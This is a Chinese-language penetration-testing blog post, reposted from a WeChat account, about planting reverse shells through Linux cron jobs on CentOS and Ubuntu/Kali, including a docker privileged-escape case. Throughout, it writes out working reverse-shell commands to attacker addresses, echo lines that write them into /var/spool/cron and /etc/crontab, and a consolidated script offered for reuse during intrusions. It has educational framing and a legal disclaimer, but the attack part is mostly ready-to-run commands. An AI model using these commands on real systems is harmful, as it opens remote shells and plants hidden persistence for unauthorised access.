底层原理 | Linux计划任务反弹shell探究

admin 2022年5月23日01:28:24评论841 views字数 5584阅读18分36秒阅读模式
底层原理 | Linux计划任务反弹shell探究

点击上方“蓝字”,关注更多精彩


计划任务功能在windows系统、Linux系统中历史很悠久了,方便运维管理。而在渗透测试中,利用到计划任务的常见的有挖矿病毒、redis未授权、docker特权模式逃逸、cron提权等,而centos与ubuntu地计划任务是有一定的区别的,不仔细研究一下遇到了真的很折磨人。想起来之前学习redis未授权bash反弹shell的时候,也就在centos上复现了一遍,直到上一篇红日靶场04中就遇到ubuntu系统docker特权模式逃逸写入计划任务的情况,就踩了不少坑。看来以前的粗心偷懒,迟早要找上门。红队是不能有短板的,有的只能是长板与中等板。在这里认认真真总结一下。

0x00 问题总结

看完此篇文章,你能够明白如下问题:

1、bash -i >& /dev/tcp/ip/port 0>&1为什么在ubuntu默认终端上反弹shell没有用?而在centos上就行?

2、ubuntu为什么将上述命令写入脚本运行在上就可以反弹?

3、centos与ubuntu的计划任务有何不同?

4、/etc/cron与/var/spool/cron有啥区别?

5、sh、dash、bash有啥区别?

6、docker特权模式逃逸该怎么写?

0x01 Linux计划任务crontab

crontab的命令构成为时间+动作,格式(一个空格都不能错):* * * * * xxx,这里的*就代表一个时间维度的划分,xxx代表动作。

其时间维度依次是分、时、日、月、周这五种。

1、常用命令以及参数

crontab -e#编辑计划任务crontab -l #列出计划任务crontab -r#删除计划任务

2、相关目录

负责调度各种管理和维护任务的目录:/etc/cron重点在第一行的SHELL,下文会提到。

底层原理 | Linux计划任务反弹shell探究

centos计划任务目录:/var/spool/cron/

ubuntu计划任务目录:/var/spool/cron/crontabs/

计划任务日志(系统日志):/var/log/syslog

具体的举例用法可以参考菜鸟教程:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

3、/etc/crontab 和 /var/spool/cron区别

/etc/crontab(系统级的)系统执行计划

/var/spool/cron/(用户级的)这个目录是以账号来区分每个用户自己的执行计划

0x02 centos计划任务反弹shell

无论centos、ubuntu还是kali,都有下面这几种方式来计划任务反弹shell,但是不同系统之间有着不同的细微差距。

这里以先以centos系统为例子来说明一下。

法一:crontab -e写入命令

1、centos机器上,输入crontab -e就会出现一个文件,可以看到这是一个临时的缓存文件,写入下方命令并保存。

 */1 * * * * bash -i >& /dev/tcp/kali_ip/port 0>&1 或者 */1 * * * * /bin/bash -i >& /dev/tcp/kali_ip/port 0>&1

底层原理 | Linux计划任务反弹shell探究

2、这时候使用crontab -l命令,就可以看到我们定的计划任务了。

底层原理 | Linux计划任务反弹shell探究

3、同时可以看到在/var/spool/cron目录下多了一个文件为root,里面的内容就是刚才写入的bash反弹命令。

底层原理 | Linux计划任务反弹shell探究

4、因为设置了1分钟内,所以会在1分钟内某个时间点成功反弹回来。

底层原理 | Linux计划任务反弹shell探究

法二:echo写入文件

上面的crontab -e方式其实就是帮我们在/var/spool/cron目录下创建了一个root文件而已;所以可以尝试直接使用echo命令来写入bash反弹命令到这个文件中,即下方命令:

 echo '*/1 * * * * bash -i >& /dev/tcp/kali_ip/port 0>&1' > /var/spool/cron/root 或者 echo '*/1 * * * * /bin/bash -i >& /dev/tcp/kali_ip/port 0>&1' > /var/spool/cron/root

1、先使用crontab -r删除计划任务,随后输入上方命令echo写入计划任务成功反弹。

底层原理 | Linux计划任务反弹shell探究

2、那么我有一个疑问,难道文件名必须是root么?我改成另一个centos存在的sss用户行不行?可以的

底层原理 | Linux计划任务反弹shell探究

3、改成其他名字,失败。洗个澡做个饭上个厕所都弹不回来

底层原理 | Linux计划任务反弹shell探究

再次证明:/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名。

法三:crontab -e写入文件

我们知道bash反弹shell除了直接输入命令,还可以将命令写入sh文件,然后bash运行。那么我新建一个/tmp/1.sh写入bash反弹命令,然后再向计划任务中写入这个文件,也是可以成功弹回的。

底层原理 | Linux计划任务反弹shell探究

注意:写入的文件最好统一为绝对路径,不建议相对路径。

法四:echo写入命令和文件到/etc/crontab

1、在/etc/crontab这个文件中,已经有了官方的介绍

底层原理 | Linux计划任务反弹shell探究

需要添加用户名,才能反弹成功。

底层原理 | Linux计划任务反弹shell探究

0x03 ubuntu计划任务反弹shell

上面介绍了几种关于centos系统的计划任务反弹shell,但是远远不够。因为ubuntu的计划任务反弹shell会比较复杂。

因为ubuntu与kali都是基于debian系统,我下面就拿kali演示了。

底层原理 | Linux计划任务反弹shell探究

法一:crontab -e写入命令

1、crontab -e时提示选择编辑器。我这里选择的2号即vim编辑器。

底层原理 | Linux计划任务反弹shell探究

2、填入和centos一样的bash反弹shell语句,可以看到,迟迟没有反弹回来。

底层原理 | Linux计划任务反弹shell探究

3、通过tail -15 /var/log/syslog来查看,出现了个报错:

(CRON) info (No MTA installed, discarding output)#(计划任务)信息(没有邮件系统,放弃输出)

底层原理 | Linux计划任务反弹shell探究

Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息被discarding output(被舍弃)了,而不是No MTA installed,discarding output这句话。

寻找真正的错误信息

想看到真正的报错信息有两种解决办法:

1.安装邮件系统,这个方法就算了,没必要。

2.将计划任务的错误信息输出到一个文件内,那么需要我们修改一下计划任务如下

crontab -e* * * * * bash -i  '>& /dev/tcp/kali_ip/port 0>&1'>/tmp/error.txt 2>&1'

随后等一等,就可以看到真正的报错信息了:/bin/bash没有找到。

底层原理 | Linux计划任务反弹shell探究

那么前面说过,查看计划任务的启动shell,可以在/etc/crontab下看到,确实没有bash,只有一个/bin/sh,换句话说ubuntucron中命令执行的shell环境是/bin/sh

底层原理 | Linux计划任务反弹shell探究

sh与dash

那么这里来找一下到底/bin/sh是什么,如下图可以看出,sh其实是指向dash的一个软连接。而dash是什么呢?

 ls -alh /bin/ | grep -w "sh"

底层原理 | Linux计划任务反弹shell探究

综合网上查询的信息得出个结论:Debian和Ubuntu中,/bin/sh默认已经指向dash,dash比bash体积小速度快,兼容性高。dash主要是为了执行脚本而出现,所以不能实现交互,功能相比bash要少很多,语法严格遵守POSIX标准。

举个栗子

在ubuntu系统上执行bash -i >& /dev/tcp/ip/port 0>&1无法直接反弹shell是因为ubuntu系统打开的终端默认是sh运行的命令,而sh刚才也提到了,实际上就是dash。dash只能够进行脚本的运行,而bash -i这个命令,使用到了bash交互的功能,所以sh不能在实现交互,也就反弹失败了。

底层原理 | Linux计划任务反弹shell探究

如果我在ubuntu默认的终端中输入bash就会切换到bash终端,进而就可以使用bash -i

底层原理 | Linux计划任务反弹shell探究

又或者我是用bash -c,没有用到bash交互功能,也可以使用。

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

底层原理 | Linux计划任务反弹shell探究

关于bash -c,可以参考我的这篇文章:

Linux系统安全 | 交互与非交互式shell详解

底层原理 | Linux计划任务反弹shell探究

回过头来看,crontab -e在ubuntu系统上,写入的内容,不能是bash -i开头的bash反弹,而应该是bash -c即:

crontab -e* * * * bash -c "bash -i >& /dev/tcp/kali_ip/port 0>&1"

底层原理 | Linux计划任务反弹shell探究

法二:echo写入文件

那么按理说写成下方这样,可以反弹了吧,sh不就是用来执行脚本的吗?可是还是没有反弹。这就是坑点之一。

vim /tmp/1.sh#!/bin/bashbash -i >& /dev/tcp/192.168.159.5/11111 0>&1echo "*/1 * * * * bash /tmp/1.sh" >> /var/spool/cron/crontabs/root #ubuntu的计划任务路径目录为/var/spool/cron/crontabs/

底层原理 | Linux计划任务反弹shell探究

通过报错信息可以看到,不安全的模式,需要600的权限!!

底层原理 | Linux计划任务反弹shell探究

是因为,我们echo创建的root文件,默认权限是644,ubuntu这里规定,计划任务root文件的权限必须是600!

底层原理 | Linux计划任务反弹shell探究

修改权限为600,并且还要重启cron服务,才可以成功反弹!

底层原理 | Linux计划任务反弹shell探究

法三:crontab -e写入文件

通过命令crontab -e来创建的计划任务生成的root文件,默认就是600权限!

所以我们不需要再改权限和重启cron服务了,直接编辑就行了。和上述方法一样,这里不赘述了。

法四:echo写入命令和文件到/etc/crontab

这个方法对于ubuntu系统来说尤为重要,尤其是在docker特权模式下逃逸的时候。

在上一篇红日靶场4中,我尝试用法三来反弹shell,结果重启不了cron服务。于是只能用这个法四。

底层原理 | Linux计划任务反弹shell探究

这里就贴上总结和优化后的代码,方便大家以后使用了哈。在渗透的时候,请先备份一下/etc/crontab文件,然后再添加命令。

#新建一个.sh文件并加执行权限touch /tmp/test.shchmod +x /tmp/test.sh #写一个sh脚本echo "#!/bin/bash" >> /tmp/test.shecho "bash -i >& /dev/tcp/192.168.157.5/11111 0>&1" >> /tmp/test.sh #sed命令必须是单引号,-i就是修改;$在正则中表示最后一行,a表示在指定行下边插入指定的内容行,$a就是在最后一行插入。sed -i '$a*/1 * * * * root bash /tmp/test.sh' /etc/crontab #d表示删除,$d即删除最后一行,也就是刚刚添加的命令sed -i '$d' /etc/crontab

底层原理 | Linux计划任务反弹shell探究

注意一点,写入/etc/crontab不推荐在运维或者日常使用,只推荐在渗透中使用。因为这是系统级别的计划任务,不是针对用户的,不方便进行管理和识别。

0x04 总结与问题回答

1、bash -i >& /dev/tcp/ip/port 0>&1为什么在ubuntu默认终端上反弹shell没有用?而在centos上就行?

2、为什么在ubuntu系统上把上述命令写入脚本运行就可以反弹shell了?

问题1、2答:ubuntu终端默认启用sh,而sh指向的是dash shell,不具备交互功能,只具备脚本运行的功能。

3、centos与ubuntu的计划任务有哪些不同?

  • ubuntu的用户计划任务目录在/var/spool/cron/crontabs/,centos在/var/spool/cron/

  • ubuntu用户计划任务文件必须是600权限

4、/etc/cron与/var/spool/cron有啥区别?

  • /etc/cron是系统级别的计划任务文件;/var/spool/cron是用户级别的

  • echo写入命令到/etc/cron时,不影响其权限,适用于docker特权逃逸

5、ubuntu直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e命令,或者写入/etc/crontab里面;如果在渗透时用不了crontab -e命令,可使用法四。至于centos的话,任何方法均可,不受影响。

底层原理 | Linux计划任务反弹shell探究

往期推荐

攻防对抗 | docker快速部署Hfish蜜罐

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

内网渗透 | RDP反向污染(Inception)攻击

内网渗透 | 正向代理与nginx反向代理详解

浅谈水坑攻击—Google浏览器上线CS

利用AntSword RCE进行溯源反制黑客

Clash RCE漏洞复现与高级利用(配合社工)

CVE-2021-4034 Linux Polkit本地提权漏洞

CVE-2021-31760 Webmin CSRF致使RCE

CVE-2022-22965 Spring core RCE漏洞

内网渗透 | bash反弹失败情况与应对总结

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

底层原理 | Linux计划任务反弹shell探究
底层原理 | Linux计划任务反弹shell探究
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):底层原理 | Linux计划任务反弹shell探究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日01:28:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   底层原理 | Linux计划任务反弹shell探究http://cn-sec.com/archives/1039807.html

发表评论

匿名网友 填写信息